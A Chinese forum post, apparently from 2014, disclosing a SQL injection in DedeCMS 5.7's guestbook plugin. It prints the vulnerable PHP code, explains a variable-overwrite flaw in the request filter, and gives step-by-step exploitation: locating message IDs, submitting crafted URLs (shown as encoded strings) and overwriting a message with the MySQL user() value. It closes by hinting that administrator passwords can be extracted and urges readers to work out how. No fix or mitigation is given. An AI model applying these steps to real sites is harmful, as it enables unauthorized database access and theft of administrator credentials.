首页
社区
课程
招聘
dedecms 5.7 漏洞
发表于: 2014-9-17 20:27 916

dedecms 5.7 漏洞

2014-9-17 20:27
916
请看看文件:include/filter.inc.php

引用一哥话语:

这是2B的dede再次变量覆盖漏洞根源。。

这是过滤或替换非法关键字。正常的。

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}

等同于重新赋值了,之前做的过滤无效了。
这是过滤或替换非法关键字。正常的。

漏洞:dedecms 5.7 最新sql漏洞一枚
作者:鬼哥
版权:65eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6e0V1H3M7$3g2U0i4K6u0W2L8%4u0Y4

漏洞文件edit.inc.php具体代码:<?php

if(!defined('DEDEINC')) exit('Request Error!');

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
else $GUEST_BOOK_POS = "guestbook.php";

$id = intval($id);
if(empty($job)) $job='view';

if($job=='del' && $g_isadmin)
{
    $dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
    ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
    exit();
}
else if($job=='check' && $g_isadmin)
{
    $dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
    ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
    exit();
}
else if($job=='editok')
{
    $remsg = trim($remsg);
    if($remsg!='')
    {
        //管理员回复不过滤HTML
        if($g_isadmin)
        {
            $msg = "<div class=\\'rebox\\'>".$msg."</div>\n".$remsg;
            //$remsg <br><font color=red>管理员回复:</font>
        }
        else
        {
            $row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
            $oldmsg = "<div class=\\'rebox\\'>".addslashes($row['msg'])."</div>\n";
            $remsg = trimMsg(cn_substrR($remsg, 1024), 1);
            $msg = $oldmsg.$remsg;
        }
    }
   //这里没有对$msg过滤,导致可以任意注入了
    $dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
    ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
    exit();
}

if($g_isadmin)
{
    $row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
    require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
}
else
{
    $row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
    require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
}

漏洞成功需要条件:
                          1. php magic_quotes_gpc=off
                          2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞:
                                先打开bf0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4S2^5P5q4)9J5k6h3y4G2L8g2)9J5c8Y4m8D9N6i4y4Q4x3V1k6Y4N6h3g2K6N6r3u0G2L8$3E0Q4x3X3g2H3K9s2m8Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7W2!0q4y4g2)9^5c8W2!0m8c8W2!0q4y4q4!0n7b7W2!0m8y4g2!0q4y4#2)9&6b7#2)9^5b7W2!0q4y4g2)9^5z5q4!0n7x3q4!0q4y4g2)9^5z5q4!0m8b7W2!0q4y4q4!0n7b7g2!0n7b7g2!0q4y4#2)9&6b7g2)9^5y4q4!0q4y4#2)9&6y4g2)9&6z5g2!0q4z5q4!0m8z5q4)9^5x3q4!0q4c8W2!0n7b7#2)9^5b7H3`.`.
                                然后鼠标放在 [回复/编辑]   上 可以看到别人留言的ID。那么记下ID
                                访问:200K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4S2^5P5q4)9J5k6h3y4G2L8g2)9J5c8Y4m8D9N6i4y4Q4x3V1k6Y4N6h3g2K6N6r3u0G2L8$3E0Q4x3X3g2H3K9s2m8Q4x3@1k6S2j5%4c8A6L8$3&6Q4x3@1c8S2k6r3#2A6L8W2)9J5y4X3A6G2j5W2)9K6c8r3g2V1K9i4c8G2K9#2)9J5y4X3#2K6k6#2)9K6c8o6V1H3M7$3g2U0i4K6t1%4i4K6t1$3K9h3c8Q4x3@1c8Q4c8e0g2Q4b7f1c8Q4z5e0S2Q4c8e0g2Q4z5f1y4Q4b7e0S2Q4c8e0N6Q4z5f1q4Q4z5o6c8Q4c8e0N6Q4z5e0g2Q4z5e0W2Q4c8e0S2Q4b7e0S2Q4z5o6m8u0c8l9`.`.
                                提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
                               跳回到d80K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4S2^5P5q4)9J5k6h3y4G2L8g2)9J5c8Y4m8D9N6i4y4Q4x3V1k6Y4N6h3g2K6N6r3u0G2L8$3E0Q4x3X3g2H3K9s2l9`. 看下你改的那条留言ID是否变成了 90sec' 如果变成了 那么证明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
                               如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
                               那么再次访问 80dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4S2^5P5q4)9J5k6h3y4G2L8g2)9J5c8Y4m8D9N6i4y4Q4x3V1k6Y4N6h3g2K6N6r3u0G2L8$3E0Q4x3X3g2H3K9s2m8Q4x3@1k6S2j5%4c8A6L8$3&6Q4x3@1c8S2k6r3#2A6L8W2)9J5y4X3A6G2j5W2)9K6c8r3g2V1K9i4c8G2K9#2)9J5y4X3W2V1i4K6y4p5i4@1f1#2i4@1q4p5i4K6V1^5i4@1f1#2i4K6W2o6i4@1p5^5i4@1f1%4i4K6W2m8i4K6R3@1i4@1f1%4i4K6V1#2i4K6V1&6i4@1f1^5i4@1p5^5i4K6R3H3d9f1c8Q4x3U0k6E0M7$3N6Q4x3@1c8Q4x3U0N6Q4x3V1y4E0M7$3N6Q4x3@1c8#2M7$3g2J5i4K6t1^5i4K6t1&6i4K6u0o6k6h3#2S2K9h3I4Q4x3@1c8Q4x3U0M7`.
                               然后返回,那条留言ID的内容就直接修改成了mysql 的user().

大概利用就是这样,大家有兴趣的多研究下!!

最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来!!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回